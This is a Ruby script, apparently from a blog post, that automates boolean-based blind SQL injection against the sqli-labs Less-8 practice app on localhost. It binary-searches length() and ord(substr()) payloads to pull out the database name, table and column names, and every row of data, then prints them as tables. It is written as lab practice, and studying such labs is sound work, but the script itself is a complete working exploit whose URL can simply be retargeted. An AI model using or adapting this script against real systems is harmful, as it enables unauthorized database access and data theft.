require 'net/http'
require 'byebug'
require 'pp'
require './table'
# select * from users where id = '1' and length((select database())) > 5;
# select * from users where id = '1' and ord(substr((select database()),1,1)) > 40;
class Inject
URL = 'http://localhost/Sqli_Edited_Version/sqlilabs/Less-8/?id=1'
SelectDatabase = 'select database()'
SelectTables = "select table_name from information_schema.tables where table_schema = '%s' limit %d,1"
SelectColumns = "select group_concat(column_name) from information_schema.columns where table_name = '%s' and table_schema = '%s' limit 0,1"
SelectData = "select concat_ws(',',%s) from %s limit %d,1"
LengthPayload = "' and length((%s)) > %d"
SubstrPayload = "' and ord(substr((%s),%d,1)) > %d"
Note = ' +--+'
Key = 'You are in...........'
def initialize
@url = URI(URL)
@http = Net::HTTP
@info = {}
end
def inject
data_len = get_length(SelectDatabase)
#puts "Database Length: #{data_len}"
data_name = get_name(SelectDatabase, data_len)
puts "Database Name: #{data_name}"
@info[:database] = data_name
# Tables Name
n = 0
@info[:tables] = {}
loop do
select_table_name = format(SelectTables, data_name, n)
len = get_length(select_table_name)
# 当len为false时退出
break unless len
#puts "Table #{n} Length: #{len}"
puts select_table_name
table_name = get_name(select_table_name, len)
puts "Table #{n} Name: #{table_name}"
@info[:tables][table_name] = {}
n += 1
end
# Columns
@info[:tables].each_pair do |tb_name, _|
select_columns = format(SelectColumns, tb_name, @info[:database])
len = get_length(select_columns)
break unless len
puts select_columns
concat_columns = get_name(select_columns, len)
columns = concat_columns.split(",")
@info[:tables][tb_name][:columns] = columns
end
# Data
@info[:tables].each_pair do |tb_name, hs|
columns = hs[:columns]
n = 0
@info[:tables][tb_name][:data] = []
loop do
cs = columns.join(',')
select_data = format(SelectData, cs, tb_name, n)
len = get_length(select_data)
break unless len
puts select_data
concat_data = get_name(select_data, len)
@info[:tables][tb_name][:data] << concat_data.split(',')
n += 1
end
end
dump_data
end
def dump_data(indent=2)
@info[:tables].each_pair do |tb_name, hash|
col = hash[:columns]
table = Table.new(
'Header' => "#{tb_name} Table",
'Indent' => indent,
'Columns' => col,
'CellPad' => 2,
'SortIndex' => 2)
hash[:data].each do |data|
table << data
end
puts table.to_s + "\n"
end
end
def send(payload)
url = URI(URL + payload + Note)
@http.get_response(url)
end
def get_result(payload)
response = send(payload)
response.body.include?(Key)
end
def length_payload(payload, len)
format(LengthPayload, payload, len)
end
def get_length(payload, str=nil)
length_left = 0
length_right = 0
guess = 5
# 首先确定可能的最长长度和最短长度
loop do
if get_result( length_payload(payload, length_right) )
length_right += guess
else
length_left = length_right - guess
break
end
end
# 当没有内容的时候返回错误
return false if length_right.zero?
# 精确判断长度
while length_left < (length_right - 1)
mid = (length_left + length_right) / 2
# 判断中间长度是否为真
if get_result( length_payload(payload, mid) )
length_left = mid
else
length_right = mid
end
end
return length_right
end
def get_name(payload, len)
name = ""
len.times do |n|
n += 1
ascii = get_name_char( payload, n )
name << ascii.chr
end
return name
end
def name_payload(payload, pos, test)
format(SubstrPayload, payload, pos, test)
end
def get_name_char(payload, pos)
left = 0
right = 0
guess = 10
loop do
if get_result( name_payload(payload, pos, right) )
right += guess
else
left = right - guess
break
end
end
while left < (right - 1)
mid = (left + right) / 2
if get_result( name_payload(payload, pos, mid) )
left = mid
else
right = mid
end
end
return right
end
end
inject = Inject.new
inject.inject
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 365433079@qq.com